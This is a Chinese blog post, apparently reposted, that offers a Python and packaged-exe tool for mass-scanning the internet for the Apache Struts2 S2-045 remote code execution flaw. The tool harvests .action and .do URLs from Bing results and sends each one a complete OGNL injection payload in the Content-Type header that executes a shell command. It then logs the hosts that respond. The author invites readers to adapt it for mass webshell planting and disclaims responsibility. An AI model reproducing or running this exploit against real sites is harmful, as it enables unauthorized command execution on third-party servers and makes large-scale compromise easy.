s2-045漏洞批量檢測工具


今天晚上看老鐵們在群里就這個st2-045漏洞討論得火熱,個人不太喜歡日站,本來想直接寫個批量掛馬的東西,但是想想還是算了,如果你有興趣,改改也很容易,反正不關我的事

測試圖
TIM圖片20170307212124.png

2017-3-8更新

  • 增加了對.do關鍵詞的支持,並且支持任何關鍵詞了,之前我只考慮到了.action關鍵詞並且寫死了規則,py版本已經更新,win版的exe未更新,需要的自行用pyinstaller打包為exe
  • 之前采用whoami如果返回200狀態碼就判斷存在漏洞,但是現在很多已經修復了,導致訪問之后依舊會跳到正常頁面返回200狀態碼,於是我改了一下判斷,執行命令echo xxxx,如果返回結果中含有xxxx就證明漏洞存在
  • win版exe已經打包
  • 重要:建議大家都使用py版本,經過群友測試,exe版本對中文關鍵詞的支持不太好,會出現錯誤,如果使用上有問題可評論
  • exe版本會出現掃描過慢的情況,強烈建議py版本,鑒於有些朋友說不會配置python環境,我在下面給出了例子
  • 有些朋友說自定義關鍵字字典出錯,這里要提一句,你的字典txt的編碼需要是utf-8,有些東西因為寫的比較快沒考慮太全,見諒
    TIM圖片20170308132948.png

依賴包的安裝

//首先你需要安裝一個python,在安裝圖中記得把有pip的選項和add python to path類似的選項勾選上,然后安裝完成后執行python -version和pip
//如果執行python -version提醒你有問題,試着重啟一下cmd或者電腦,或者檢查你的path環境變量下有沒有python的安裝的路徑,沒有的話就加上
//如果正常證明環境安裝成功,如果執行pip提醒你沒有pip,就把你python安裝路徑下的Scripts目錄加到path環境變量,然后在命令行在執行以下代碼
pip install requests
pip install beautifulsoup4

對於此腳本所放置文件夾下必須有keyword.txt用來存放一行行的關鍵詞
最開始是打算直接全部讀取然后一個一個跑,不過感覺時間太漫長,測試時間太久
后來改成關鍵詞就是自己輸入,但是又感覺太麻煩
然后就變成了現在的讀取關鍵詞然后標號直接輸入序號就可以
途中遇到了有的網址直接拒絕訪問導致報錯,還有的超時一直不返回報文,這些都解決了,個人測試的結果還可以,結果保存在一個txt下,至於你想再干些什么,不關我的事情了

說明
例子:

python s2-045.py 9 10

第一個參數是你的文件名,第二個是關鍵詞所對應的序號,第三個是你需要爬行的頁數
序號與關鍵詞的對應,可以直接運行python s2-045.py就可以產看幫助
腳本采用的bing搜索引擎,文件我會打包在下面

上代碼,python2和3通用

# encoding:utf-8
import sys,requests
from bs4 import BeautifulSoup

keyword = {}
with open("keyword.txt") as f:
    i = 0
    for keywordLine in f:
        keyword[str(i)] = keywordLine.strip()
        i += 1

usage = '''
usage : python s2-045.py 0 10

first parameter is your filename
second parameter is your keyword's number which will be used by Bing
Third parameter is the page number you want to crawl\n'''

def poc(actionURL):
    data = '--447635f88b584ab6b8d9c17d04d79918\
    Content-Disposition: form-data; name="image1"\
    Content-Type: text/plain; charset=utf-8\
    \
    x\
    --447635f88b584ab6b8d9c17d04d79918--'
	
    header = {
        "Content-Length" : "155", 
        "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36", 
        "Content-Type" : "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo hereisaexp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}", 
    }
    try:
        request = requests.post(actionURL, data=data, headers=header, timeout = 10)
    except:
        return "None", "Refused"
    return request.text, request.status_code

def returnURLList():
    keywordsBaseURL = 'http://cn.bing.com/search?q=' +keyword[sys.argv[1]]+ '&first='
    n =0
    i = 1
    while n < int(sys.argv[2]):
        baseURL = keywordsBaseURL + str(i)
        try:
            req = requests.get(baseURL)
            soup = BeautifulSoup(req.text, "html.parser")
            text = soup.select('li.b_algo > h2 > a')
            if '.action' in keyword[sys.argv[1]]:
                standardURL = [url['href'][:url['href'].index('.action')]+'.action' for url in text if '.action' in url['href']]
            elif '.do' in keyword[sys.argv[1]]:
                standardURL = [url['href'][:url['href'].index('.do')]+'.do' for url in text if '.do' in url['href']]
            else:
                standardURL = [url['href'] for url in text]
        except:
            print("HTTPERROR")
            continue
        i += 10
        n += 1
        yield standardURL

def main():
    if len(sys.argv) != 3:
        print(usage)
        for k,v in keyword.items():
            print("%s is %s"%(k, v))
        sys.exit()

    for urlList in returnURLList():
        for actionURL in urlList:
            text, code = poc(actionURL)
            if 'hereisaexp' in text:
                print(str(code) + "----Successful----" + actionURL + '\n')
                with open("AvailableURL.txt","a") as f:
                    f.write(actionURL+'\n')
            else:
                print(str(code)+'----'+actionURL+'\n')

if __name__ == '__main__':
    main()

下載地址

打包了win版,大家可以直接使用,例如在該exe目錄下執行(更新的並未打包出exe,如有需要可以自行用pyinstaller打包)

s2-045.exe 9 10

其他用法參照上面
轉載請注明出處


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM